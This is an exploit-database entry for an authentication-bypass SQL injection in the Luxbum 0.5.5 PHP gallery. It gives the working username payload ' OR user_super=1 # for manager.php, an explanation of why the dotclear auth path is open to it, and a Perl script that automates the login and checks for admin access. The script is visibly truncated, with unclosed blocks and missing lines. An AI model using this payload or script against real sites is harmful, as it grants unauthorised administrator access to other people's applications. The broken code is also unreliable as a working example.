Luxbum 0.5.5/stable (Auth Bypass) SQL Injection Vulnerability

ID 1337DAY-ID-5151
Type zdt
Reporter knxone
Modified 2009-05-08T00:00:00


Exploit for unknown platform in category web applications

Luxbum 0.5.5/stable (Auth Bypass) SQL Injection Vulnerability


Software name:	luxbum (PHP Web gallery)
Version:	0.5.5/stable
Flaw type:	sql injection -> auth bypass         	
Greetings:	_Pirata_ from this famous irc server ;)


Luxbum allows authentification using dotclear username and password via MySQL,
while the default auth mechanism uses a md5 hash of the pass in a PHP file.

If you trace all the code from login form to admin panel, you'll notice that
user input isn't filtered in manager.php or 

So if you use dotclear auth in luxbum, SQL injection is possible but, in order
to bypass, we need to return at least one row to get it working and it has to
be a dotclear admin. 

In dotclear, the table dc_user stores in the column "user_super" the super
admin status. If it's == 1 then the user is super-admin. Since the luxbum auth
mechanism already fully accesses to dotclear users' data , exploiting is
very easy and doesn't require the disclosure of dotclear database infos (DB
name, username, pass, prefix etc.).


- requires magic_quotes = Off
- requires use of dotclear auth (not default)

Go to:             http://host/luxbum/manager.php
Enter as Username: ' OR user_super=1 #
Enter as Password: xxxxxxxxxxxxxxxxxxxx


#!/usr/bin/perl -w
# luxbum 0.5.5 auth bypass via sql injection.
# requires magic_quotes Off and use of dotclear auth
# returns 0 if successful, else 1
# ./luxbum http://host.tld/luxbumrootdir
use strict;
use LWP::UserAgent;
use HTTP::Cookies;
use Term::ANSIColor qw(:constants);
$Term::ANSIColor::AUTORESET = 1;
help() if ( ! defined($ARGV[0]) || scalar(@ARGV) != 1 );

my $ua = LWP::UserAgent->new(
	agent      => 'Mozilla/4.73 [en] (U; Windows 3.1; Internet Explorer 2.0)',
	cookie_jar => HTTP::Cookies->new(
		file           => ".cookies",
		autosave       => 1     	
my $url = $ARGV[0]."/manager.php?p=login";

# First we inject to open a valid session
my $req = HTTP::Request->new( POST => $url ) ;
my $response = $ua->request($req);
if ( ! $response->is_error && $response->content !~ m/message_ko/ ) {
	print BOLD GREEN "Auth bypass successful :-)\n";
} else {
	print BOLD RED "Auth bypass failed :-(\n";

# Then we check if we've really done it
$response = $ua->get($ARGV[0]."/manager.php");
if ( $response->content =~ m/h1_admin/ ) {
	print BOLD GREEN "Access Granted as gallery Admin at ".$ARGV[0]." :-)))\n";
} else {
	print BOLD RED "Access Denied at ".$ARGV[0]." :-(\n";

sub help {
	print "Usage: ".$0." http://host.tld/luxbumrootdir\n";

# [2018-01-08]  #